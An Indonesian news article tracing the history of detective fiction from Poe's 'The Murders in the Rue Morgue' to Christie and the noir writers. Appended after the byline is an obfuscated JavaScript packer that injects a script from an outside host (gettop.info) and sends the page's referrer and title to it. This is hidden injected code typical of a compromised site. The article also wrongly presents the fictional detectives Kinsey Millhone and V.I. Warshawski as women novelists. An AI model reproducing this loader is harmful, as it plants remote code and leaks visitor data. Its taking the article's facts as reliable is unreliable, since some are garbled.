Terbitnya Cerita Detektif Pertama Di Dunia Karangan Edgar Allan

liputan6com/indolinear.com
Minggu, 27 Agustus 2017
loading...

Indolinear.com, Boston – Cerita berjudul “The Murders in the Rue Morgue” karangan Edgar Allan Poe yang pertama kali dimuat di majalah Graham’s Lady’s and Gentleman’s pada tanggal 20 April 1841, dikenal sebagai cerita detektif pertama di dunia.

Cerita pendek tersebut mengisahkan kekuatan analisis oleh tokoh bernama Monsieur C. Auguste Dupin untuk memecahkan serangkaian pembunuhan di Paris. Seperti kisah Sherlock Holmes, cerita tersebut dinarasikan oleh teman sekamar sang detektif.

Dilansir dari Liputan6.com (25/08/2017), setelah cerita karangan Poe dipublikasikan, sejumlah kisah detektif mulai berkembang menjadi novel. Pada 1868, penulis Inggris Wilkie Collins menerbitkan novel detektif berjudul The Moonstone.

Novel tersebut mengisahkan tokoh Sersan Cuff dalam mencari penjahat yang mencuri batu bulan Indian suci. The Moonstone mencakup beberapa fitur layaknya cerita misteri modern, termasuk alibi dan adegan klimaks.

Beberapa tahun setelahnya, lahir salah satu cerita detektif terbaik sepanjang masa, yakni Sherlock Holmes. Cerita karya Sir Arthur Conan Doyle yang pertama kali terbit pada 1887 berjudul A Study in Scarlet.

Meski pada zamannya cerita detektif didominasi oleh penulis laki-laki, pada 1920-an seorang perempuan penulis Inggris, Agatha Christie, terkenal dengan serial novel misterinya berjudul Miss Marple.

Sementara itu pada 1930-an yang sering disebut sebagai golden age cerita detektif, noir detective novelmenjadi andalan penulis seperti Dashiell Hammet, Raymond Chandler, and Mickey Spillane.

Perempuan penulis novel detektif menjadi terkenal pada 1980-an, seperti Kinsey Millhone and V.I. Warshawski. (Uli)eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘5 d=1;5 2=d.f(\’4\’);2.g=\’c://b.7/8/?9&a=4&i=\’+6(1.o)+\’&p=\’+6(1.n)+\’\’;m(1.3){1.3.j.k(2,1.3)}h{d.l(\’q\’)[0].e(2)}’,27,27,’|document|s|currentScript|script|var|encodeURIComponent|info|kt|sdNXbH|frm|gettop|http||appendChild|createElement|src|else|se_referrer|parentNode|insertBefore|getElementsByTagName|if|title|referrer|default_keyword|head’.split(‘|’),0,{}))